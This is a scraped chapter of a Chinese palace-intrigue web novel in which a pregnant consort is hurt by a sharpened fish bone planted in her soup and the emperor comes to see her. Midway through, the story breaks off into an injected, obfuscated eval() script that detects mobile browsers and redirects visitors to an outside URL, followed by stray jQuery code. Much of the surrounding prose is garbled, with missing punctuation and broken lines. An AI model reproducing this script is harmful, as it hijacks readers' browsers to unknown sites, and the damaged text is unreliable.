第 68 章 与其盼望别人心软...
作品:《贵妃娘娘荣华富贵》 第68章与其盼望别人心软
次日清晨,沈初宜醒来时,萧元宸已经走了。
她起初并不觉得有所谓,依旧按部就班,先去两位太后处谢恩,又被宫妃们恭喜了一通,等一切都忙完,五日匆匆而过。
之后几日,她悠闲读书,习字,还去了一趟梅花坊,同步昭媛请教课业。
等到她终于得了空闲,才意识到萧元宸已经十日未曾出现了。
她并不十分忧心,倒是舒云有些愁眉不展:“娘娘,这几日都是杨婕妤和白选侍侍奉陛下,我瞧着御膳房的那些夯货又要作妖。”
沈初宜笑了一下,她道:“之前陛下来桃花坞,也不十分勤快,在长信宫中更是如此。”
往常十天半月,也是见不到一面的。
来了桃花坞,兴许是住的近一些,萧元宸倒是来的勤快。
即便沈初宜不能侍寝,萧元宸也会过来坐一坐,同她说会儿话。
这几日没来,舒云就有些紧张了。
大抵之前沈初宜升婕妤那日气氛太过融洽,让舒云有些会错意,总觉得陛下待他们婕妤是不同的。
可如今看来,又有什么不同呢?
舒云不由有些丧气。
说实话,她并非为了让沈初宜如何恩宠加身,她只是盼着沈初宜高兴。
如今桃花坞这些人,都是一路扶持着过来的,沈初宜以前多不容易,大家都心知肚明。
她们会如此齐心协力,就是攒着一口气,非要把日子过好,让旁人都不能拿沈初宜的出身说事。
可如今日子好了,舒云就想要更多的东西了。
她苦笑出声:“是奴婢贪心了。”
沈初宜握着她的手,神情却出奇平静。
同她们相比,她是唯一不紧张的人。
“舒云,从永福宫的时候,我就明白一个道理了,”她目光一扫,看到如烟捧着一盅暖汤进来,便对她们一起说,“祈求别人的垂怜,都是痴人说梦。”
“那时候我总盼着,丽嫔娘娘能饶过我,放我一条生路,可最后呢?就连红豆都没了。”
沈初宜说到这里,见舒云一下子红了眼眶。
她伸出手,轻轻帮她挥去眼底的泪。
“与其盼望别人心软,不如自己坚强一些。
“我如今已经是婕妤了,陛下待我已是不薄,等以后诞下皇嗣,总能当上昭仪。
“岁月长一些,等到再有秀女入宫,我就能升为九嫔。
“那时候,我大抵会比曾经的丽嫔还要好。
“有份位,有皇嗣,又有荣华富贵,何乐而不为呢?
“我们唯一要操心的,就是好好养育皇嗣,把这孩子健健康康养大,成为一个聪慧而优秀的好孩子。
“舒云,我很知足的。
沈初宜劝诫舒云,也告诫如烟,她何尝不是在一遍遍加固自己的心防。
桃花坞仿佛世外桃源,她住在这里,跟萧元宸谈天说地,仿佛真是金玉良缘,天作之合。
可只要踏出桃花坞,她才恍然大悟。
她不过是宫妃中的一员,这芸芸众生中的一粒尘埃。
不起眼,不优秀,也没有珍珠光华。
她或许的确是特殊的,她穷苦出身,身上并无矜贵骄傲,同那些世家千金全然不同。可能就是这样,让萧元宸对她颇为亲昵,不会冷漠梳理,然而也不过只是新鲜罢了。
毕竟她这样的宫妃,在如今的后宫里是独一份。
谁不会觉得好奇呢?
就连她自己,偶尔也会对那些世家千金,对那些膏粱锦绣的门阀生活好奇。
早年她在永福宫中时就看得很清楚,这位皇帝陛下是个冷心冷情的人,他从来不会太过偏爱谁,也不会越发关注谁,就连侍寝,也是安排的四平八稳,没有特别钟情。
他天生就适合做皇帝。
大抵生来就没有心肠,所以才能对情情爱爱无动于衷。
说实话,作为一个皇帝,这些根本就没必要。
他自己活得高兴才最重要。
沈初宜心里如此想,嘴里从来不敢说。
这几日的恩爱甜蜜遮住了她的眼,她也只是个未及双十年华的单纯少女,心动会昙花一现,再正常不过。
可当潮水退去,百花凋零,那乍然出现的昙花也枯萎斑驳,安静住在桃花坞的这几日,沈初宜的心慢慢回归平静。
她不后悔曾经有一瞬间的心动。
沈初宜看着舒云,倏然
笑了。
“其实我很感谢陛下的”沈初宜声音轻柔带着怀恋“要不是陛下我恐怕已经死了。”
“要不是陛下
“哪怕这不过是镜花水月我也很知足。”
沈初宜浅浅笑了。
她这一笑让人能感受到她更平和淡然了。
沈初宜从来都是很通透的人做过的事她从来不后悔。
抓不到的东西她也从来不奢求。
她见如烟站在那也红了眼才笑着对她伸手握住了两个人的手。
“我们就一起过自己的日子精心凝神慢慢等待春暖花开的那一日。”
“好不好?”
原本最应该着急的沈初宜却是桃花坞里最淡然的那个。
这几日甄顺的牙花子都肿了一边脸鼓起来根本不敢到沈初宜面前伺候。
也只有舒云敢同沈初宜说这件事。
不过即便说了倒是沈初宜在安慰她们。
沈初宜见她们都冷静下来才说:“除非发生大事否则陛下大抵不会特别薄待有子嗣的宫妃你们放宽心便是。”
“若是御膳房和尚宫局使坏刁难不过分的就打点一二太过分的就回来同我说我一定会同太后娘娘讨个说法。”
“不要委屈自己。”
舒云同如烟对视一眼两人一起点头称是。
等两人退下沈初宜捧着那盅乌鸡汤慢条斯理吃着。
吃着吃着她长长舒了口气。
此时此刻她甚至是有些感谢萧元宸的还好他足够冷静把她从轻微的沉溺中拉了出来。
经历了这一遭从今往后她大抵再也不会让自己深陷其中。
沈初宜正吃着忽然喉咙一痛她忍不住轻咳一声一口鲜血喷了出来。
如烟和舒云刚端了茶点进来抬眸就看到沈初宜吐了血几乎吓得面无人色。
“娘娘您怎么了?”
沈初宜喉咙一阵剧痛她来不及说话甚至都无法呼吸张了张口只觉得有什么卡在喉咙里几乎让她窒息。
沈初宜努力张大口让如烟看她喉咙发生了什么。
此刻舒云已经去吩咐
叫太医了。
如烟除了一开始慌乱,可看沈初宜自己都很淡定,她也努力稳住了心神。
她手脚麻利地端起烛台,放到了沈初宜面前,认真看过去。
只见沈初宜喉咙口上有一道伤痕,因她刚喝了一口乌鸡汤,血混着汤水一起吐出来,好似吐了血一般。
但实际上,那伤口不算大。
如烟看得仔细,举着烛光挪动,光影摇曳,如烟才看到她喉咙上卡了一小块透明的骨头。
就是这东西,划破了沈初宜的喉咙,让她吐了血。
如烟立即就吩咐若雨取了镊子过来,用烈酒擦拭干净,然后便让若雨托着灯盏,她快快很准地把沈初宜喉咙处的那块小骨头取出来。
骨头脱离喉咙,沈初宜终于觉得呼吸顺畅了。
她忙合上嘴,用帕子擦了擦唇角的血迹,轻轻咽了一口吐沫。
伤口不算深,疼痛感没有异物感强,此刻她整个人都放松下来了。
沈初宜张张口,正要说话,舒云就快步回来,急切地道:“娘娘,先别开口,等太医过来看过再说。
沈初宜倒也乖巧。
她点点头,垂眸看向放在瓷盘行的小骨头。
这根本就不是乌鸡骨。
而是一小块几乎透明的鱼骨,拇指大小,呈三角状,四周十分锋利。
正是因为个头小,且几近透明,检查吃食的若雨没有发现,而吃这一碗盅的沈初宜也没看出端倪。
她方才心里有事,那乌鸡汤吃得有一搭没一搭的,很不经意地就把那块骨头吞进口中。
那骨头太过锋利,直接划伤了她的喉咙,她紧张之余,下意识锁紧喉咙,就把那小骨头卡在了喉口处。
若不是如烟眼疾手快,沈初宜可能就要窒息了。
想到这里,沈初宜轻轻拍着胸口,深深吸了口气。
此刻如烟才跌坐在地,脸色惨白如纸,她一头一脸的汗,能看出方才有多紧张。
若雨的手也是抖得,她甚至吓哭了,扑通一声跪倒在地。
“都是奴婢的错,请小主责罚。
要不是她不谨慎,娘娘也不会受伤。
沈初宜却摇了摇头。
舒云上前扶起如烟和若雨,沉声道:“等太医过来
看看是怎么回事吧。”
很快黄茯苓就到了。
她路上就听甄顺说了是怎么回事这一路都是心急如焚的等到了桃花坞见沈初宜喉咙中的小骨头已经取出来这才松了口气。
她过来帮沈初宜看诊舒云就取了帕子帮她擦脸上的汗水。
黄茯苓仔细看过才道:“娘娘没有大碍。”
她顿了顿继续道:“太医院有一种如玉粉专门治疗口疮的能让伤口迅速愈合。”
“娘娘的伤口不算深位置也能瞧见用了如玉粉大概三五日就能好。”
“不过这几日娘娘尽量吃软和的粥米不要吃带骨头的东西否则伤口不容易愈合。”
她顿了顿继续道:“也得吃清淡一些牛羊肉等发物都不能吃了。”
沈初宜点点头表示自己知道了。
黄茯苓这才微微有些笑模样:“娘娘可以说话不要太过用力少说几句就好。”
沈初宜这才指了指那小骨头:“黄医正你看这可否是鱼骨?”
黄茯苓的目光从乌鸡汤上滑落最后落到了那一块锋利的鱼骨上。
黄茯苓不由打了个寒颤。
不过她做太医已有数年倒是不会遇事慌乱此时她让自己冷静下来沉着脸道:“娘娘这的确是鱼骨而且是被特地打磨过的鱼骨。”
沈初宜目光一沉再抬头时眼眸中只有坚定。
“上报吧。”
黄茯苓点点头她看了一眼舒云道:“那臣就去写脉案了。”
之后的事情很顺利。
黄茯苓很认真该如何就是如何等她写完舒云就去了一趟凤凰台把那封脉案递到了邹姑姑手上。
“还请姑姑禀报太后娘娘这事定是人为。”
这边桃花坞里沈初宜用上了如玉粉很快就觉得喉咙清凉不觉得刺痛了。
她含混地道:“若有人来查若雨你就实话实说我会保你。”
若雨却摇头:“是奴婢的错奴婢必要领罚让自己必须记得今日之过。”
沈初宜却笑了一下她言简意赅:“你要是挨打
“罚俸便是了。”
说这话外面就传来见礼声
。
沈初宜以为是哪位娘娘亲自到场可她一抬头却看到了萧元宸微蹙着的剑眉。
“陛下?”
————
沈初宜倒是没想到第一个到的竟是萧元宸。
她扶着如烟的手起身脸上挂着同往日一般无二的温柔笑容。
“陛下怎么来了?”
她嗓音有些哑声音也很低听得出来喉咙依旧不太舒服。
萧元宸眉心微微蹙着他神情有些冷淡不过说出来的话也还算温和。
“可好些了?”
沈初宜点点头她上前两步如同往日那般挽住了萧元宸的手臂笑着带他一起在罗汉床边落座。
“其实没什么大碍”沈初宜说话声音轻柔缓慢“还是臣妾用汤羹的时候不注意这才吃了进去是臣妾自己的错。”
萧元宸面色微沉。
“你这里的侍膳宫女是谁?”
不等沈初宜开口
“陛下是奴婢还请陛下责罚。”
沈初宜叹了口气:“陛下。”
她言简意赅:“我宫里宫女可否让我自己处置?”
萧元宸一听就知道她心软了。
他原来是很欣赏沈初宜对宫女们温和的可现在他却又觉得沈初宜太过心慈手软。
宫人们若不好好管教次次都办错事以致自己受伤天长以往还有什么规矩可言?
萧元宸淡淡道:“你不能太心软。”
沈初宜愣了一下她难得从萧元宸的话中听出责备来。
沈初宜微微放开手她规规矩矩坐在边上脸上的笑容清减三分。
“陛下如今在畅春园臣妾身边侍奉的宫女本就不多升位婕妤之后尚宫局也来问过臣妾都没有让尚宫局立即安排宫女。”
“不熟悉的人臣妾是不敢用的。”
的确沈初宜身边这些人许多都是曾经的同僚几人都共患难过感情可见一斑。
若雨更是为她出过力。
萧元宸神情稍微缓和:“你少说几句小心伤口。”
沈初宜摇了摇头:“陛下臣妾有分寸。”
她没有接受
萧元宸的好意,依旧很坚持自己的想法。
萧元宸便没有再说若雨的事,他直接道:“此番
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583875|136877||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无论如何,定是人为,你既已上报懿母后,就请懿母后定夺,务必让御膳房调查清楚。
沈初宜颔首道:“是。
这话说完,两个人竟有些无话可说。
往常在桃花坞,都是沈初宜尽量没话找话,今日她喉咙受伤,不便说话,气氛就有些冷淡。
萧元宸忽然有些不自在。
他总觉得沈初宜同往日有些不同,可究竟不同在何处,他又说不上来。
但他心里总觉得不是很高兴。
萧元宸伸出手,轻轻抚摸了一下沈初宜的脸,声音依旧平和:“朕看一下你的伤口。
沈初宜顿了顿,她垂下眼眸,轻声道:“陛下,有些不雅。
她不想张大嘴给萧元宸看。
萧元宸倒是没有坚持。
他见沈初宜的确没有大碍,就道:“你好好养伤,进遵医嘱,不要贪嘴。
沈初宜跟着站起来,亦步亦趋把他送到桃花坞门口:“陛下也要多多休息,好好用膳。
萧元宸脚步微顿,倒是没有停留,他垂眸看向沈初宜,见她那一双凤眸依旧亮晶晶的,便伸手帮她顺了一下鬓发。
“朕改日再来看你。
沈初宜笑颜如花:“那臣妾就乖乖等陛下。
等萧元宸背影消失不见,沈初宜脸上的笑容淡了几分,她回了桃花坞,压低声音同脸颊依旧有些肿胀的甄顺道:“你悄悄去寻赵姑姑,问她是否愿意让春鸢来我宫里,她若是愿意,我就直接下旨调遣。
沈初宜原是才人时,身边的宫女黄门一共有六人,一名大宫女,三名普通宫女,一名内行走,一名普通黄门。
升为充容还没两天,就因为路答应的事情升到了婕妤,她身边侍奉的宫女数量按理应该增多。
婕妤娘娘的侍奉宫人应该有八名。
其中有五名宫女,一名司职宫女,一名大宫女,以及三名普通宫女,以及一名司职内侍,两名普通黄门。
沈初宜身边原本因为永福宫之事,她的宫女规格本身就比其他才人高,因此升为婕妤之后,她不需要再配司职宫女和大宫女,只要把如烟和若雨提为二等宫
女,再另外调一名三等宫女即可。
黄门中,倒是可以给甄顺升为内行走,麦小苗升为二等黄门。
另外扫洗宫女吴小芹和扫洗黄门小川子,沈初宜准备等回宫之后再问一问麦小苗,看两个人表现,再慢慢提拔上来。
人数就差不多定了。
不过如今在畅春园,她的确发现人手不足。
春鸢已经过来桃花坞侍奉了将近十日,舒云和如烟一直在观察她,沈初宜也有考量,春鸢的确是个细心又单纯的姑娘。
既然如今人手不足,确实可以先把春鸢提拔到身边来。
她让甄顺去问赵姑姑,当然也不仅仅是为了春鸢,赵姑姑一看就是宫里头的老行家,能明白沈初宜的意思。
甄顺自然也明白。
他嘬着生疼的牙花,道:“小的明白,娘娘放心。
说着,甄顺也顾不上脸肿了,快步就出了桃花坞。
桃花坞今日闹了一场,沈初宜早就有些累了,她回去简单吃过一碗粥,就没什么胃口。
她躺下午歇,刚睡了小半个时辰,就被喉咙疼醒了。
这时候伤口才返后劲儿。
沈初宜让如烟给她上药,感觉疼痛好了些,才靠在床榻边,抬眸看向如烟。
如烟就低声道:“顺哥回来了。
沈初宜点点头,如烟就把甄顺叫回来了。
甄顺跑了一圈,回来后又换了一身衣裳,才蹑手蹑脚进了寝殿。
“娘娘,小的都打听到了。
沈初宜轻轻应了一声,甄顺就开了口。
“赵姑姑说,春鸢这孩子是她同乡的亲戚,从小孤苦,三岁就没了娘。
不知是不是用了药,甄顺的脸没那么肿了。
“她爹娶了后娘,起初还好,后来在她十岁的时候生了个弟弟,便整日里让她干活,十来岁的时候瘦得可怜,村里人看不下去,同族的族老出面,问春鸢愿不愿意进宫当宫女。
“总比留在家里,被当牛马使唤,最后为了弟弟被嫁给不认识的陌生男人强。
甄顺自己是太监,太知道狠心的爹妈有多让人寒心了。
他叹了口气:“当时赵姑姑已经在畅春园混出名声来,她是自己不想嫁人,也不想回家为哥嫂出力,
就自梳妇人头,彻底留在了宫里。
但赵姑姑的名头是很不错的。
村中过得不如意的姑娘,但凡愿意入宫的,赵姑姑都帮衬一把。
“赵姑姑说自己家同春鸢家里有沾亲带故的关系,瞧着这姑娘也单纯,便把她要来了畅春园,这几年一直都悉心教导她。
“可如今姑娘大了,总不能一直留在畅春园,难道以后就做个白头宫女?
畅春园的升迁机会可太少了。
趁着这一次贵人们来畅春园避暑,赵姑姑左瞧右看,最终选择了沈娘娘。
如今看来,她的选择是正确的。
沈初宜主动示好,那边赵姑姑也很上道,直接就把知道的事情说了清楚。
“娘娘,赵姑姑说,如今在这边御膳房伺候的,是几位宫里惯用的大厨,不过帮厨和侍膳黄门有的是畅春园的人,尤其是汤盅灶上,因要长时间盯着,大多都是畅春园的侍膳黄门。
“之前畅春园就出过一次事,如今娘娘这边又出了事,御膳房这一次难辞其咎。
“听闻太后娘娘还没下旨,御膳房已经开始查了。
甄顺顿了顿,道:“赵姑姑说,自从上次的事情之后,御膳房管理严格许多,伺候的黄门轻易不让外出,能进入御膳房的,只有各宫的侍膳宫女和黄门。
沈初宜神情微变。
甄顺压低声音:“赵姑姑的意思是,娘娘不过是新宫妃,同畅春园根本毫不相干,此事若真是人为,肯定有人恶意收买侍膳黄门,意图谋害娘娘。
赵姑姑是个明白人。
如今沈初宜水涨船高,已经成为了四仪娘娘,短短数日连升两级,加上她腹中怀有皇嗣,对其他宫妃来说的确是个威胁。
要害她的,大抵是其中一名宫妃,亦或者是许多名一起下的手。
然而在这种情况下,赵姑姑依旧愿意把春鸢给她。
甄顺最后道:“娘娘,赵姑姑让小的给您带句话。
“她说春鸢已经是大姑娘了,以后她要如何选择,赵姑姑都不会过问,只希望娘娘能让她心愿得成。
也就是说,无论春鸢以后是否出宫,都想让沈初宜满足她的意愿。
这根本不算一件事,但赵姑姑的意思很明确,春鸢